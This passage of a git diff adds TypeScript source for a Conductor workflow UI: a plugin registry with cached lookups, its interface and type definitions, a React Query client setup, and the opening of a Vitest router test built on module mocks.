+/** + * Creates a new plugin registry instance + */ +function createPluginRegistry(): PluginRegistry { + // Storage for registered plugins + const plugins: ConductorPlugin[] = []; + + // Cached lookups for performance + const taskFormCache = new Map>(); + const authProviderCache = new Map>(); + const taskDocUrlCache = new Map(); + + // Flag to track if caches need rebuilding + let cachesDirty = true; + + /** + * Rebuild all caches from registered plugins + */ + function rebuildCaches(): void { + if (!cachesDirty) return; + + taskFormCache.clear(); + authProviderCache.clear(); + taskDocUrlCache.clear(); + + for (const plugin of plugins) { + // Cache task forms + if (plugin.taskForms) { + for (const registration of plugin.taskForms) { + taskFormCache.set(registration.taskType, registration.component); + } + } + + // Cache auth providers + if (plugin.authProviders) { + for (const registration of plugin.authProviders) { + authProviderCache.set(registration.type, registration.component); + } + } + + // Cache task doc URLs + if (plugin.taskDocUrls) { + for (const registration of plugin.taskDocUrls) { + taskDocUrlCache.set(registration.taskType, registration.url); + } + } + } + + cachesDirty = false; + } + + return { + /** + * Register a plugin with the registry + */ + register(plugin: ConductorPlugin): void { + // Check for duplicate plugin IDs + const existing = plugins.find((p) => p.id === plugin.id); + if (existing) { + console.warn( + `Plugin with ID "${plugin.id}" is already registered. Skipping.`, + ); + return; + } + + plugins.push(plugin); + cachesDirty = true; + + // Call plugin's onRegister hook if provided + if (plugin.onRegister) { + try { + plugin.onRegister(); + } catch (error) { + console.error( + `Error in onRegister hook for plugin "${plugin.id}":`, + error, + ); + } + } + }, + + /** + * Get all registered plugins + */ + getPlugins(): ConductorPlugin[] { + return [...plugins]; + }, + + /** + * Get all authenticated routes from plugins + */ + getRoutes(): RouteObject[] { + const routes: RouteObject[] = []; + for (const plugin of plugins) { + if (plugin.routes) { + routes.push(...plugin.routes); + } + } + return routes; + }, + + /** + * Get all public routes from plugins + */ + getPublicRoutes(): RouteObject[] { + const routes: RouteObject[] = []; + for (const plugin of plugins) { + if (plugin.publicRoutes) { + routes.push(...plugin.publicRoutes); + } + } + return routes; + }, + + /** + * Get all sidebar items from plugins, sorted by position + */ + getSidebarItems(): SidebarItemRegistration[] { + const items: SidebarItemRegistration[] = []; + for (const plugin of plugins) { + if (plugin.sidebarItems) { + items.push(...plugin.sidebarItems); + } + } + return items; + }, + + /** + * Get a task form component for a given task type + */ + getTaskForm(taskType: string): ComponentType | null { + rebuildCaches(); + return taskFormCache.get(taskType) || null; + }, + + /** + * Get all task menu items from plugins + */ + getTaskMenuItems(): TaskMenuItemRegistration[] { + const items: TaskMenuItemRegistration[] = []; + for (const plugin of plugins) { + if (plugin.taskMenuItems) { + // Filter out hidden items + const visibleItems = plugin.taskMenuItems.filter( + (item) => !item.hidden, + ); + items.push(...visibleItems); + } + } + return items; + }, + + /** + * Get an auth provider component for a given type + */ + getAuthProvider(type: string): ComponentType | null { + rebuildCaches(); + return authProviderCache.get(type) || null; + }, + + /** + * Get all search providers from plugins, sorted by priority + */ + getSearchProviders(): SearchProviderRegistration[] { + const providers: SearchProviderRegistration[] = []; + for (const plugin of plugins) { + if (plugin.searchProviders) { + providers.push(...plugin.searchProviders); + } + } + // Sort by priority (lower = higher priority) + return providers.sort( + (a, b) => (a.priority ?? 100) - (b.priority ?? 100), + ); + }, + + /** + * Get all sidebar extensions from plugins + */ + getSidebarExtensions(): SidebarExtension[] { + const extensions: SidebarExtension[] = []; + for (const plugin of plugins) { + if (plugin.sidebarExtensions) { + extensions.push(...plugin.sidebarExtensions); + } + } + return extensions; + }, + + /** + * Get a task documentation URL for a given task type + */ + getTaskDocUrl(taskType: string): string | null { + rebuildCaches(); + return taskDocUrlCache.get(taskType) || null; + }, + + /** + * Get all task documentation URLs from plugins as a Record + */ + getTaskDocUrls(): Record { + rebuildCaches(); + const urls: Record = {}; + taskDocUrlCache.forEach((url, type) => { + urls[type] = url; + }); + return urls; + }, + + /** + * Get all global components from plugins + */ + getGlobalComponents(): ComponentType[] { + const components: ComponentType[] = []; + for (const plugin of plugins) { + if (plugin.globalComponents) { + components.push(...plugin.globalComponents); + } + } + return components; + }, + + /** + * Get the "Create New Integration" modal component. + * Returns the first registered one, or null if none (OSS build). + */ + getNewIntegrationModal(): ComponentType | null { + for (const plugin of plugins) { + if (plugin.newIntegrationModal) { + return plugin.newIntegrationModal; + } + } + return null; + }, + + /** + * Get the playground home page component. + * Returns the first registered one, or null if none. + */ + getPlaygroundHomePage(): ComponentType | null { + for (const plugin of plugins) { + if (plugin.playgroundHomePage) { + return plugin.playgroundHomePage; + } + } + return null; + }, + + /** + * Get the app layout component. + * Returns the first registered one, or null (use BaseLayout as fallback). + */ + getAppLayout(): ComponentType<{ children: ReactNode }> | null { + for (const plugin of plugins) { + if (plugin.appLayout) { + return plugin.appLayout; + } + } + return null; + }, + + /** + * Get all dependency sections for the workflow editor's Dependencies tab. + * Returns sections sorted by order. + */ + getDependencySections(): DependencySectionRegistration[] { + const sections: DependencySectionRegistration[] = []; + for (const plugin of plugins) { + if (plugin.dependencySections) { + sections.push(...plugin.dependencySections); + } + } + // Sort by order (lower = first) + return sections.sort((a, b) => a.order - b.order); + }, + + /** + * Get all task execution panels (extra tabs in the execution task detail panel) + * registered for the given task type. + */ + getTaskExecutionPanels(taskType: string): TaskExecutionPanelRegistration[] { + const panels: TaskExecutionPanelRegistration[] = []; + for (const plugin of plugins) { + if (plugin.taskExecutionPanels) { + panels.push( + ...plugin.taskExecutionPanels.filter((p) => + p.taskTypes.includes(taskType), + ), + ); + } + } + return panels; + }, + + /** + * Get the schema edit dialog component. + * Returns the first registered one, or null if none (OSS build). + */ + getSchemaEditDialog(): ComponentType | null { + for (const plugin of plugins) { + if (plugin.schemaEditDialog) { + return plugin.schemaEditDialog; + } + } + return null; + }, + + /** + * Get the schema preview dialog component. + * Returns the first registered one, or null if none (OSS build). + */ + getSchemaPreviewDialog(): ComponentType | null { + for (const plugin of plugins) { + if (plugin.schemaPreviewDialog) { + return plugin.schemaPreviewDialog; + } + } + return null; + }, + + /** + * Get the generated key dialog component. + * Returns the first registered one, or null if none (OSS build). + */ + getGeneratedKeyDialog(): ComponentType | null { + for (const plugin of plugins) { + if (plugin.generatedKeyDialog) { + return plugin.generatedKeyDialog; + } + } + return null; + }, + + /** + * Get the login page component. + * Returns the first registered one, or null if none (OSS build). + */ + getLoginPage(): ComponentType | null { + for (const plugin of plugins) { + if (plugin.loginPage) { + return plugin.loginPage; + } + } + return null; + }, + + /** + * Get the auth guard component. + * Returns the first registered one, or null if none (OSS build). + */ + getAuthGuard(): ComponentType<{ + fallback?: ReactNode; + runWorkflow?: boolean; + }> | null { + for (const plugin of plugins) { + if (plugin.authGuard) { + return plugin.authGuard; + } + } + return null; + }, + + /** + * Get the access token for API requests. + * Returns null in OSS builds (no authentication). + */ + getAccessToken(): string | null { + for (const plugin of plugins) { + if (plugin.getAccessToken) { + return plugin.getAccessToken(); + } + } + return null; + }, + + getTaskValidationErrors(task: TaskDef): ValidationError[] { + const errors: ValidationError[] = []; + for (const plugin of plugins) { + plugin.taskValidators?.forEach((validate: TaskValidatorFn) => { + errors.push(...validate(task)); + }); + } + return errors; + }, + + runPreSaveValidation(): void { + for (const plugin of plugins) { + if (!plugin.onPreSaveValidation) { + continue; + } + try { + plugin.onPreSaveValidation(); + } catch (error) { + console.error( + `Error in onPreSaveValidation hook for plugin "${plugin.id}":`, + error, + ); + } + } + }, + }; +} + +/** + * The global plugin registry singleton + */ +export const pluginRegistry = createPluginRegistry(); + +/** + * Convenience function to register a plugin + */ +export function registerPlugin(plugin: ConductorPlugin): void { + pluginRegistry.register(plugin); +} diff --git a/ui-next/src/plugins/registry/types.ts b/ui-next/src/plugins/registry/types.ts new file mode 100644 index 0000000..b97c661 --- /dev/null +++ b/ui-next/src/plugins/registry/types.ts @@ -0,0 +1,724 @@ +/** + * Plugin Registry Types + * + * This module defines the interfaces for the Conductor UI plugin system. + * Plugins can extend the application with: + * - Routes (authenticated and public) + * - Sidebar menu items + * - Task forms for the workflow editor + * - Task menu items for the "Add Task" menu + * - Authentication providers + * - Search providers for global search + * - Sidebar state machine extensions + * - Task documentation URLs + */ + +import { ComponentType, ReactNode } from "react"; +import { RouteObject } from "react-router-dom"; +import { CSSObject } from "@mui/material/styles"; +import type { TaskDef } from "types"; +import type { ValidationError } from "pages/definition/errorInspector/state/types"; +import { AuthHeaders } from "types/common"; +import { BaseIntegration, IntegrationDef } from "types/Integrations"; + +// ============================================================================ +// Task Form Types +// ============================================================================ + +/** + * Props passed to task form components in the workflow editor + */ +export interface PluginTaskFormProps { + task: Record; + onChange: (task: Record) => void; + updateAdditionalFieldMetadata?: any; + additionalFieldMetadata?: any; + isMetaBarEditing?: boolean; + onToggleExpand?: (workflowName: string) => void; + collapseWorkflowList?: string[]; + taskFormHeaderActor?: any; // ActorRef from xstate +} + +/** + * Registration for a task form component + */ +export interface TaskFormRegistration { + /** The task type (e.g., "HUMAN", "WAIT_FOR_WEBHOOK") */ + taskType: string; + /** The React component to render for this task type */ + component: ComponentType; +} + +// ============================================================================ +// Task Menu Types +// ============================================================================ + +/** + * Category tabs in the "Add Task" menu + */ +export type TaskMenuCategory = + | "ALL" + | "System" + | "Operators" + | "Alerting" + | "Workers" + | "AI Tasks" + | "Integrations"; + +/** + * Registration for a task type in the "Add Task" menu + */ +export interface TaskMenuItemRegistration { + /** Display name in the menu */ + name: string; + /** Description shown below the name */ + description: string; + /** The task type constant (e.g., "HUMAN", "WAIT_FOR_WEBHOOK") */ + type: string; + /** Category tab where this task appears */ + category: TaskMenuCategory; + /** Optional version number */ + version?: number; + /** If true, this item is hidden (can be used with feature flags) */ + hidden?: boolean; + /** + * If true, this task type appears in the QuickAdd grid of the workflow editor. + * Enterprise plugins use this to surface their task types in the quick-add panel. + */ + quickAdd?: boolean; +} + +// ============================================================================ +// Sidebar Types +// ============================================================================ + +/** + * Target submenu where a sidebar item should be inserted + */ +export type SidebarMenuTarget = + | "executionsSubMenu" + | "definitionsSubMenu" + | "integrationsSubMenu" + | "apiSubMenu" + | "adminSubMenu" + | "helpMenu" + | "root"; // For top-level items + +/** + * Position hint for where to insert the item within the target menu + */ +export type SidebarItemPosition = "start" | "end" | number; + +/** + * Registration for a sidebar menu item + */ +export interface SidebarItemRegistration { + /** Unique identifier for this menu item */ + id: string; + /** Display title */ + title: string; + /** Icon element (can be null for submenu items) */ + icon: ReactNode; + /** Route path to navigate to (empty string for submenu parents) */ + linkTo: string; + /** Additional routes that should mark this item as active */ + activeRoutes?: string[]; + /** When set, an activeRoutes match also requires these search params to be present. */ + activeSearchParams?: Record; + /** Keyboard shortcuts */ + shortcuts?: string[]; + /** Hotkey string */ + hotkeys?: string; + /** Target submenu to insert into */ + targetMenu: SidebarMenuTarget; + /** Position within the target menu */ + position?: SidebarItemPosition; + /** Whether this item is hidden */ + hidden?: boolean; + /** Open link in new tab */ + isOpenNewTab?: boolean; + /** Custom text styles */ + textStyle?: CSSObject; + /** Custom button container styles */ + buttonContainerStyle?: CSSObject; + /** Custom icon container styles */ + iconContainerStyles?: CSSObject; + /** Click handler (instead of navigation) */ + handler?: () => void; + /** Custom component to render instead of default */ + component?: ReactNode; + /** Nested submenu items (for creating new submenus) */ + items?: SidebarItemRegistration[]; + /** + * Optional React hook that returns the current badge count for this item. + * When the returned value is > 0, a red badge with the count is shown next + * to the item title. Enterprise plugins use this to show pending task counts. + * + * Must follow React hook rules (called unconditionally in component render). + */ + useBadgeCount?: () => number; +} + +// ============================================================================ +// Auth Provider Types +// ============================================================================ + +/** + * Props for auth provider wrapper components + */ +export interface AuthProviderProps { + children: ReactNode; +} + +/** + * Registration for an authentication provider + */ +export interface AuthProviderRegistration { + /** Provider type identifier (e.g., "auth0", "okta", "oidc") */ + type: string; + /** The provider component that wraps the app */ + component: ComponentType; +} + +// ============================================================================ +// Search Provider Types +// ============================================================================ + +/** + * A search result item returned by search providers + */ +export interface SearchResultItem { + /** Icon to display */ + icon?: ReactNode; + /** Display title */ + title: string; + /** Route to navigate to when clicked */ + route?: string; + /** Nested results (for grouped results) */ + sub?: SearchResultItem[]; +} + +/** + * Function type for fetching search data + */ +export type SearchDataFetcher = (authHeaders?: AuthHeaders) => Promise; + +/** + * Function type for transforming fetched data into search results + */ +export type SearchResultMapper = ( + data: any[], + searchTerm: string, +) => SearchResultItem[]; + +/** + * Registration for a search provider + */ +export interface SearchProviderRegistration { + /** Unique identifier for this search provider */ + id: string; + /** Human-readable name for the search category */ + name: string; + /** Function to fetch the searchable data */ + fetcher: SearchDataFetcher; + /** Function to map data to search results */ + mapper: SearchResultMapper; + /** Priority for ordering results (lower = higher priority) */ + priority?: number; +} + +// ============================================================================ +// Sidebar Extension Types +// ============================================================================ + +/** + * Extension for the sidebar state machine (e.g., for polling human tasks) + */ +export interface SidebarExtension { + /** Unique identifier */ + id: string; + /** + * Initial context values to merge into sidebar machine context + */ + initialContext?: Record; + /** + * Service function to invoke (e.g., for polling) + * Returns data that will be passed to the onDone handler + */ + service?: (context: any) => Promise; + /** + * Interval in milliseconds for polling (if applicable) + */ + pollingInterval?: number; + /** + * Action to run when service completes + */ + onServiceDone?: (context: any, data: any) => Record; +} + +// ============================================================================ +// Task Doc URL Types +// ============================================================================ + +/** + * Registration for task documentation URLs + */ +export interface TaskDocUrlRegistration { + /** The task type */ + taskType: string; + /** The documentation URL */ + url: string; +} + +// ============================================================================ +// New Integration Modal Types +// ============================================================================ + +/** + * Props for the "Create New Integration" modal component registered by + * the enterprise integrations plugin. + */ +export interface NewIntegrationModalProps { + integrationDefList: IntegrationDef[]; + integrationToEdit: Partial; + onClose: () => void; + onAfterSave?: (savedIntegration: BaseIntegration) => void; + nameEditable?: boolean; + isNewIntegration?: boolean; +} + +// ============================================================================ +// Schema Dialog Types (for SchemaForm in workflow editor) +// ============================================================================ + +/** + * Props for the SchemaEditDialog component. + */ +export interface SchemaEditDialogProps { + initialData: { + schemaName: string; + schemaVersion?: string; + isNewSchema: boolean; + }; + open?: boolean; + onClose?: (schema?: { name: string; version?: number }) => void; +} + +/** + * Props for the SchemaPreviewDialog component. + */ +export interface SchemaPreviewDialogProps { + schemaName: string; + schemaVersion?: number; + open?: boolean; + onClose?: () => void; +} + +// ============================================================================ +// Generated Key Dialog Types (for WorkflowPropertiesForm) +// ============================================================================ + +/** + * Props for the GeneratedKeyDialog component used in MetadataBanner. + */ +export interface GeneratedKeyDialogProps { + handleClose: () => void; + applicationAccessKey: { id: string; secret: string }; + setIsToastOpen: (open: boolean) => void; +} + +// ============================================================================ +// Dependency Section Types (for DependenciesTab in workflow editor) +// ============================================================================ + +/** + * Dependencies extracted from a workflow definition. + * This matches the return type of scanTasksForDependenciesInWorkflow. + */ +export interface WorkflowDependencies { + integrationNames: string[]; + promptNames: string[]; + userFormsNameVersion: Array<{ name: string; version?: string }>; + schemas: Array<{ name: string; version?: string }>; + secrets: string[]; + env: string[]; + workflowName?: string; + workflowVersion?: number; +} + +/** + * Props passed to dependency section components in the workflow editor's Dependencies tab. + */ +export interface DependencySectionProps { + /** All extracted workflow dependencies */ + dependencies: WorkflowDependencies; +} + +/** + * Registration for a dependency section in the workflow editor's Dependencies tab. + */ +export interface DependencySectionRegistration { + /** Unique identifier for this section */ + id: string; + /** Title displayed in the collapsible section header */ + title: string; + /** Order in which sections appear (lower = first) */ + order: number; + /** React component that renders the section content */ + component: ComponentType; +} + +// ============================================================================ +// Task Execution Panel Types +// ============================================================================ + +/** + * Props passed to a task execution panel component (rendered as an extra tab in + * the execution view's right panel for a selected task). + */ +export interface TaskExecutionPanelProps { + /** The selected task execution. */ + taskResult: any; +} + +/** + * Registration for an extra tab in the execution view's task detail (right) panel. + * Plugins use this to surface task-type-specific views (e.g. guardrail executions) + * without modifying the core execution page. + */ +export interface TaskExecutionPanelRegistration { + /** Unique identifier for this panel. */ + id: string; + /** Tab label. */ + label: string; + /** Task types this panel applies to (e.g. ["LLM_CHAT_COMPLETE"]). */ + taskTypes: string[]; + /** Component rendered in the tab; receives the selected task. */ + component: ComponentType; + /** + * Optional predicate to show the tab only for certain task executions (e.g. + * only when the task was configured with the relevant feature). When omitted, + * the tab shows for every matching task type. + */ + shouldShow?: (taskResult: TaskExecutionPanelProps["taskResult"]) => boolean; +} + +// ============================================================================ +// Task Form Validator Types +// ============================================================================ + +/** Optional per-task validation contributed by enterprise plugins. */ +export type TaskValidatorFn = (task: TaskDef) => ValidationError[]; + +// ============================================================================ +// Main Plugin Interface +// ============================================================================ + +/** + * A Conductor UI plugin that can extend the application + */ +export interface ConductorPlugin { + /** + * Unique identifier for the plugin + */ + id: string; + + /** + * Human-readable name + */ + name: string; + + /** + * Plugin version + */ + version?: string; + + /** + * Routes to add inside the AuthGuard (authenticated routes) + */ + routes?: RouteObject[]; + + /** + * Routes to add outside the AuthGuard (public routes like login callbacks) + */ + publicRoutes?: RouteObject[]; + + /** + * Sidebar menu items to add + */ + sidebarItems?: SidebarItemRegistration[]; + + /** + * Task form components to register + */ + taskForms?: TaskFormRegistration[]; + + /** + * Task menu items for the "Add Task" menu + */ + taskMenuItems?: TaskMenuItemRegistration[]; + + /** + * Authentication providers + */ + authProviders?: AuthProviderRegistration[]; + + /** + * Search providers for global search + */ + searchProviders?: SearchProviderRegistration[]; + + /** + * Sidebar state machine extensions + */ + sidebarExtensions?: SidebarExtension[]; + + /** + * Task documentation URLs + */ + taskDocUrls?: TaskDocUrlRegistration[]; + + /** + * Global React components to mount inside the authenticated app layout. + * Use this for invisible side-effect components such as pollers. + * Components receive no props and must be self-contained. + */ + globalComponents?: ComponentType[]; + + /** + * A component that renders the "Create New Integration" modal used in the + * RichAddTaskMenu Integrations tab. The component receives the base + * integration template and callbacks via props injected by AddTaskSidebar. + * Enterprise plugins use this to supply the IntegrationEditModel. + */ + newIntegrationModal?: ComponentType; + + /** + * The page component rendered at the root path "/" in playground mode. + * Enterprise plugins (e.g. the hub/playground plugin) register this to + * show the template showcase. When not registered, the normal app is shown. + */ + playgroundHomePage?: ComponentType; + + /** + * Replacement layout component for the main app shell (sidebar + top bar). + * Enterprise plugins register an agent-aware layout here; OSS uses BaseLayout. + * Must accept `{ children: ReactNode }`. + */ + appLayout?: ComponentType<{ children: ReactNode }>; + + /** + * Sections to add to the Dependencies tab in the workflow editor. + * Enterprise plugins register sections for integrations, prompts, secrets, etc. + */ + dependencySections?: DependencySectionRegistration[]; + + /** + * Extra tabs in the execution view's task detail panel, shown for matching task + * types. Enterprise plugins use this to add task-specific views (e.g. guardrails). + */ + taskExecutionPanels?: TaskExecutionPanelRegistration[]; + + /** + * Optional validators run by the workflow error inspector for each task. + */ + taskValidators?: TaskValidatorFn[]; + + /** + * Called immediately before the user initiates a workflow save, so forms can + * surface field-level validation (e.g. touch required inputs). + */ + onPreSaveValidation?: () => void; + + /** + * Schema edit dialog component for inline schema editing in task forms. + * Enterprise plugins register this; OSS builds hide edit buttons when null. + */ + schemaEditDialog?: ComponentType; + + /** + * Schema preview dialog component for previewing schemas in task forms. + * Enterprise plugins register this; OSS builds hide preview buttons when null. + */ + schemaPreviewDialog?: ComponentType; + + /** + * Generated key dialog component for displaying access keys in MetadataBanner. + * Enterprise plugins register this; OSS builds use a simple fallback. + */ + generatedKeyDialog?: ComponentType; + + /** + * Login page component rendered when user is not authenticated. + * Enterprise plugins register this; OSS builds show a simple fallback message. + */ + loginPage?: ComponentType; + + /** + * Auth guard component that wraps authenticated routes. + * Enterprise plugins register this to enforce authentication. + * OSS builds use a simple layout wrapper with no auth checks. + * Must render for child routes. + */ + authGuard?: ComponentType<{ fallback?: ReactNode; runWorkflow?: boolean }>; + + /** + * Function to get the current access token for API requests. + * Enterprise plugins register this to provide JWT tokens from their auth provider. + * OSS builds return null (no authentication). + */ + getAccessToken?: () => string | null; + + /** + * Initialization function called when plugin is registered + */ + onRegister?: () => void; +} + +// ============================================================================ +// Registry Interface +// ============================================================================ + +/** + * The plugin registry interface + */ +export interface PluginRegistry { + /** + * Register a plugin + */ + register(plugin: ConductorPlugin): void; + + /** + * Get all registered plugins + */ + getPlugins(): ConductorPlugin[]; + + /** + * Get all authenticated routes from plugins + */ + getRoutes(): RouteObject[]; + + /** + * Get all public routes from plugins + */ + getPublicRoutes(): RouteObject[]; + + /** + * Get all sidebar items from plugins + */ + getSidebarItems(): SidebarItemRegistration[]; + + /** + * Get a task form component for a given task type + */ + getTaskForm(taskType: string): ComponentType | null; + + /** + * Get all task menu items from plugins + */ + getTaskMenuItems(): TaskMenuItemRegistration[]; + + /** + * Get an auth provider component for a given type + */ + getAuthProvider(type: string): ComponentType | null; + + /** + * Get all search providers from plugins + */ + getSearchProviders(): SearchProviderRegistration[]; + + /** + * Get all sidebar extensions from plugins + */ + getSidebarExtensions(): SidebarExtension[]; + + /** + * Get a task documentation URL for a given task type + */ + getTaskDocUrl(taskType: string): string | null; + + /** + * Get all task documentation URLs from plugins + */ + getTaskDocUrls(): Record; + + /** + * Get all global components from plugins + */ + getGlobalComponents(): ComponentType[]; + + /** + * Get the "Create New Integration" modal component from the integrations plugin. + * Returns null in OSS builds (no integrations plugin registered). + */ + getNewIntegrationModal(): ComponentType | null; + + /** + * Get the playground home page component. + * Returns null when not registered (OSS or non-playground builds). + */ + getPlaygroundHomePage(): ComponentType | null; + + /** + * Get the app layout component (sidebar + top bar shell). + * Returns null when not registered; callers should fall back to BaseLayout. + */ + getAppLayout(): ComponentType<{ children: ReactNode }> | null; + + /** + * Get all dependency sections for the workflow editor's Dependencies tab. + * Returns sections sorted by order. + */ + getDependencySections(): DependencySectionRegistration[]; + + /** Get task execution panels registered for the given task type. */ + getTaskExecutionPanels(taskType: string): TaskExecutionPanelRegistration[]; + + /** Aggregate task validation errors from all registered plugins. */ + getTaskValidationErrors(task: TaskDef): ValidationError[]; + + /** Notify plugins to run pre-save form validation. */ + runPreSaveValidation(): void; + + /** + * Get the schema edit dialog component. + * Returns null in OSS builds (no schema plugin registered). + */ + getSchemaEditDialog(): ComponentType | null; + + /** + * Get the schema preview dialog component. + * Returns null in OSS builds (no schema plugin registered). + */ + getSchemaPreviewDialog(): ComponentType | null; + + /** + * Get the generated key dialog component. + * Returns null in OSS builds (no access plugin registered). + */ + getGeneratedKeyDialog(): ComponentType | null; + + /** + * Get the login page component. + * Returns null in OSS builds (no auth plugin registered). + */ + getLoginPage(): ComponentType | null; + + /** + * Get the auth guard component. + * Returns null in OSS builds (no auth plugin registered). + * When null, routes.tsx uses the default OSS AuthGuard (layout wrapper only). + */ + getAuthGuard(): ComponentType<{ + fallback?: ReactNode; + runWorkflow?: boolean; + }> | null; + + /** + * Get the access token for API requests. + * Returns null in OSS builds (no authentication). + * Enterprise plugins provide the JWT token from their auth provider. + */ + getAccessToken(): string | null; +} diff --git a/ui-next/src/queryClient.ts b/ui-next/src/queryClient.ts new file mode 100644 index 0000000..c1c75da --- /dev/null +++ b/ui-next/src/queryClient.ts @@ -0,0 +1,10 @@ +import { QueryClient } from "react-query"; + +export const queryClient = new QueryClient({ + defaultOptions: { + queries: { + refetchOnWindowFocus: false, + cacheTime: 600000, // 10 mins + }, + }, +}); diff --git a/ui-next/src/routes/__tests__/router.test.tsx b/ui-next/src/routes/__tests__/router.test.tsx new file mode 100644 index 0000000..e8b8e7e --- /dev/null +++ b/ui-next/src/routes/__tests__/router.test.tsx @@ -0,0 +1,584 @@ +import { beforeEach, describe, expect, it, vi } from "vitest"; + +// ----------------------------------------------------------------------------- +// Mocks: only modules pulled in by `routes.tsx` / `router.tsx` (OSS). Host apps +// register extra routes via `pluginRegistry`; no `enterprise/*` imports here. +// ----------------------------------------------------------------------------- + +vi.mock("utils", async (importOriginal) => { + const actual = await importOriginal(); + return { + ...actual, + featureFlags: { + isEnabled: vi.fn(() => false), + getValue: vi.fn(), + getContextValue: vi.fn(), + }, + FEATURES: { + PLAYGROUND: "PLAYGROUND", + SHOW_GET_STARTED_PAGE: "SHOW_GET_STARTED_PAGE", + TASK_INDEXING: "TASK_INDEXING", + AGENTSPAN_ENABLED: "AGENTSPAN_ENABLED", + }, + }; +}); + +vi.mock("utils/constants/route", () => ({ + API_REFERENCE_URL: { BASE: "/api-reference" }, + AI_PROMPTS_MANAGEMENT_URL: { BASE: "/ai_prompts" }, + APPLICATION_MANAGEMENT_URL: { BASE: "/applications" }, + AUTHENTICATION_URL: "/authentication", + ENV_VARIABLES_URL: { BASE: "/env-variables" }, + EVENT_HANDLERS_URL: { + BASE: "/eventHandlers", + NAME: "/eventHandlers/:name", + NEW: "/eventHandlers/new", + }, + EVENT_MONITOR_URL: { BASE: "/event-monitor", NAME: "/event-monitor/:name" }, + GROUP_MANAGEMENT_URL: { BASE: "/groups" }, + ROLE_MANAGEMENT_URL: { + BASE: "/roleManagement", + TYPE_ID: "/roleManagement/:type?/:id?", + LIST: "/roleManagement/roles", + EDIT: "/roleManagement/roles/:id", + }, + HUMAN_TASK_URL: { + TASK_ID: "/human/:taskId", + LIST: "/human", + TEMPLATES: "/human/templates", + TEMPLATES_NAME_VERSION: "/human/templates/:name/:version", + TASK_INBOX: "/human/inbox", + }, + INTEGRATIONS_MANAGEMENT_URL: { BASE: "/integrations" }, + NEW_TASK_DEF_URL: "/taskDef/new", + REMOTE_SERVICES_URL: { + BASE: "/remote-services", + NEW: "/remote-services/new", + EDIT: "/remote-services/:id/edit", + }, + RUN_WORKFLOW_URL: "/runWorkflow", + SCHEDULER_DEFINITION_URL: { + BASE: "/scheduleDef", + NAME: "/scheduleDef/:name", + NEW: "/scheduleDef/new", + }, + SCHEMAS_URL: { BASE: "/schemas", EDIT: "/schemas/:id/edit" }, + SECRETS_URL: { BASE: "/secrets" }, + AGENT_DEFINITION_URL: { BASE: "/agents" }, + AGENT_EXECUTIONS_URL: { + BASE: "/agentExecutions", + ID_TASK_ID: "/agentExecutions/:id/:taskId?", + }, + AGENT_SECRETS_URL: "/agentSecrets", + SKILLS_URL: { BASE: "/skills" }, + SERVICE_URL: { + LIST: "/services", + SERVICE_ID: "/services/:serviceId", + NEW: "/services/new", + EDIT: "/services/:serviceId/edit", + NEW_ROUTE: "/services/:serviceId/routes/new", + ROUTE_DETAILS: "/services/:serviceId/routes/:routeId", + ROUTE_EDIT: "/services/:serviceId/routes/:routeId/edit", + }, + TASK_DEF_URL: { BASE: "/taskDef", NAME: "/taskDef/:name" }, + TASK_EXECUTION_URL: { LIST: "/taskExecution" }, + TASK_QUEUE_URL: { BASE: "/taskQueue" }, + USER_MANAGEMENT_URL: { BASE: "/users" }, + WEBHOOK_ROUTE_URL: { + NEW: "/webhook/new", + ID: "/webhook/:id", + LIST: "/webhooks", + }, + WORKFLOW_DEFINITION_URL: { + BASE: "/workflowDef", + NAME_VERSION: "/workflowDef/:name/:version", + NEW: "/workflowDef/new", + }, + WORKERS_URL: { + BASE: "/workers", + }, + TAGS_DASHBOARD_URL: { BASE: "/tags-dashboard" }, +})); + +vi.mock("components/features/auth/AuthGuard", () => ({ + default: () => ({ type: "AuthGuard" }), +})); +vi.mock("components/App", () => ({ App: () => ({ type: "App" }) })); +vi.mock("pages/apiDocs/ApiReferencePage", () => ({ + default: () => ({ type: "ApiReferencePage" }), +})); +vi.mock("pages/creatorFlags/CreatorFlags", () => ({ + CreatorFlags: () => ({ type: "CreatorFlags" }), +})); +vi.mock("pages/definition/task", () => ({ + TaskDefinition: () => ({ type: "TaskDefinition" }), +})); +vi.mock("pages/definition/WorkflowDefinition", () => ({ + default: () => ({ type: "WorkflowDefinition" }), +})); +vi.mock("pages/definitions", () => ({ + EventHandler: () => ({ type: "EventHandler" }), + Schedules: () => ({ type: "Schedules" }), + Task: () => ({ type: "Task" }), + Workflow: () => ({ type: "Workflow" }), +})); +vi.mock("pages/error/ErrorPage", () => ({ + default: () => ({ type: "ErrorPage" }), +})); +vi.mock("pages/eventMonitor/EventMonitor", () => ({ + EventMonitor: () => ({ type: "EventMonitor" }), +})); +vi.mock("pages/eventMonitor/EventMonitorDetail/EventMonitorDetail", () => ({ + EventMonitorDetail: () => ({ type: "EventMonitorDetail" }), +})); +vi.mock("pages/executions", () => ({ + SchedulerExecutions: () => ({ type: "SchedulerExecutions" }), + TaskSearch: () => ({ type: "TaskSearch" }), + WorkflowSearch: () => ({ type: "WorkflowSearch" }), +})); +vi.mock("pages/tags/TagsDashboard", () => ({ + default: () => ({ type: "TagsDashboard" }), +})); +vi.mock("pages/agent", () => ({ + AgentDefinitions: () => ({ type: "AgentDefinitions" }), + AgentExecutions: () => ({ type: "AgentExecutions" }), + Skills: () => ({ type: "Skills" }), + Secrets: () => ({ type: "Secrets" }), +})); +vi.mock("../pages/definition/EventHandler/EventHandler", () => ({ + default: () => ({ type: "EventHandlerDefinition" }), +})); +vi.mock("../pages/execution/Execution", () => ({ + default: () => ({ type: "Execution" }), +})); +vi.mock("../pages/kitchensink/Examples", () => ({ + default: () => ({ type: "Examples" }), +})); +vi.mock("../pages/kitchensink/Gantt", () => ({ + default: () => ({ type: "Gantt" }), +})); +vi.mock("../pages/kitchensink/KitchenSink", () => ({ + default: () => ({ type: "KitchenSink" }), +})); +vi.mock("../pages/kitchensink/ThemeSampler", () => ({ + default: () => ({ type: "ThemeSampler" }), +})); +vi.mock("../pages/queueMonitor/TaskQueue", () => ({ + default: () => ({ type: "TaskQueue" }), +})); +vi.mock("../pages/scheduler", () => ({ + Schedule: () => ({ type: "Schedule" }), +})); + +vi.mock("react-router", () => ({ + createBrowserRouter: vi.fn(() => ({ type: "BrowserRouter" })), + Link: ({ to, children, ...props }: any) => ({ + type: "Link", + props: { to, children, ...props }, + }), +})); + +vi.mock("react-vis-timeline", () => ({ + default: () => ({ type: "Timeline" }), +})); + +import { router } from "../router"; +import { getRoutes } from "../routes"; + +function flattenRoutes(routeList: any[]): any[] { + const out: any[] = []; + const walk 